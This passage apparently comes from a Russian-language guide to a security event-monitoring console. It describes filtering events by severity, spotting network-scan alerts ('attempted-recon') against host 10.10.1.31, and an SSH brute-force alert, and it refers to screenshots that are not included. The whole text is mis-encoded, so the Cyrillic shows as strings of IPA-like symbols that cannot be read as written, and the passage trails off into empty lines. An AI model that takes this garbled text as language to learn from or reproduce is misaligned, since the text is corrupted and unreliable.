 

ʈʠʩʫʥʦʢ 77 - ʆʢʥʦ ʧʘʨʘʤʝʪʨʦʚ ʬʠʣʴʪʨʘʮʠʠ ʩʦʙʳʪʠʡ. 
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ʇʦʩʣʝ ʥʘʩʪʨʦʡʢʠ ʩʧʠʩʢʘ ʩʦʙʳʪʠʡ ʢʦʤʘʥʜʦʡ ʤʦʥʠʪʦʨʠʥʛʘ ʥʝʦʙʭʦʜʠʤʦ 

ʧʝʨʝʡʪʠ ʢ ʧʦʠʩʢʫ ʫʷʟʚʠʤʦʩʪʝʡ. ʆʪʩʦʨʪʠʨʦʚʘʥʥʳʡ ʩʧʠʩʦʢ ʩʦʙʳʪʠʡ 

ʧʨʝʜʩʪʘʚʣʝʥ ʥʘ ʨʠʩʫʥʢʝ 78. 

 

ʈʠʩʫʥʦʢ 78 ï ʆʪʩʦʨʪʠʨʦʚʘʥʥʳʡ ʩʧʠʩʦʢ ʩʦʙʳʪʠʡ. 

ʇʝʨʚʳʝ ʩʦʙʳʪʠʷ, ʢʦʪʦʨʳʝ ʧʦʢʘʟʳʚʘʝʪ ʥʘʤ ʩʠʩʪʝʤʘ ï ʩʢʘʥʠʨʦʚʘʥʠʷ ʩʝʪʠ 

ʧʨʝʜʧʨʠʷʪʠʷ. ʆʥʠ ʧʦʢʘʟʘʥʳ ʥʘ ʨʠʩʫʥʢʝ 79. 

 

ʈʠʩʫʥʦʢ 79 ï ʉʢʘʥʠʨʦʚʘʥʠʝ ʩʝʪʠ. 

ɼʘʣʝʝ ʠʜʫʪ ʩʦʙʳʪʠʷ ʘʪʘʢʠ ʥʘ ʫʟʝʣ 10.10.1.31. ʕʪʦ ʤʦʞʥʦ ʦʧʨʝʜʝʣʠʪʴ ʧʦ 

ʥʘʟʚʘʥʠʶ ʩʦʙʳʪʠʡ ʠ ʧʦ ʢʣʘʩʩʫ ʧʨʘʚʠʣʘ ʠʭ ʦʧʨʝʜʝʣʝʥʠʷ. ʇʦʩʣʝ ʦʩʤʦʪʨʘ 

ʩʦʙʳʪʠʡ ʩʢʘʥʠʨʦʚʘʥʠʷ, ʚʠʜʥʦ ʧʦʜʦʟʨʠʪʝʣʴʥʦʝ ʩʦʙʳʪʠʝ ʩ ʢʣʘʩʩʦʤ ʘʪʘʢʠ 

çattempted-reconè. ʉʦʙʳʪʠʝ ʧʨʝʜʩʪʘʚʣʝʥʦ ʥʘ ʨʠʩʫʥʢʝ 80. 
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ʈʠʩʫʥʦʢ 80 ï ʉʦʙʳʪʠʝ, ʫʢʘʟʳʚʘʶʱʝʝ ʥʘ ʘʪʘʢʫ. 

ɺ ʜʘʥʥʦʤ ʩʦʙʳʪʠʠ ʚʘʞʥʦ ʧʦʩʤʦʪʨʝʪʴ ʥʘ ʥʘʟʚʘʥʠʝ ʩʦʙʳʪʠʷ. ʆʥʦ 

ʫʢʘʟʳʚʘʝʪ ʥʘ ʚʦʟʤʦʞʥʦʝ ʩʢʘʥʠʨʦʚʘʥʠʝ ʧʦ SSH, ʦʜʥʘʢʦ ʥʝʦʙʭʦʜʠʤʦ ʦʙʨʘʪʠʪʴ 

ʚʥʠʤʘʥʠʝ ʥʘ ʦʧʠʩʘʥʠʝ ʫʷʟʚʠʤʦʩʪʠ ï ʚ ʧʦʣʝ ʫʢʘʟʳʚʘʝʪʩʷ çBruteforceè. 

ʉʦʙʳʪʠʝ ʧʨʝʜʩʪʘʚʣʝʥʦ ʥʘ ʨʠʩʫʥʢʝ 81, ʘʜʨʝʩ ʘʪʘʢʫʝʤʦʛʦ ʫʟʣʘ ʥʘ ʨʠʩʫʥʢʝ 82. 

 

ʈʠʩʫʥʦʢ 81 ï ʆʩʥʦʚʥʳʝ ʭʘʨʘʢʪʝʨʠʩʪʠʢʠ ʩʦʙʳʪʠʷ. 
































































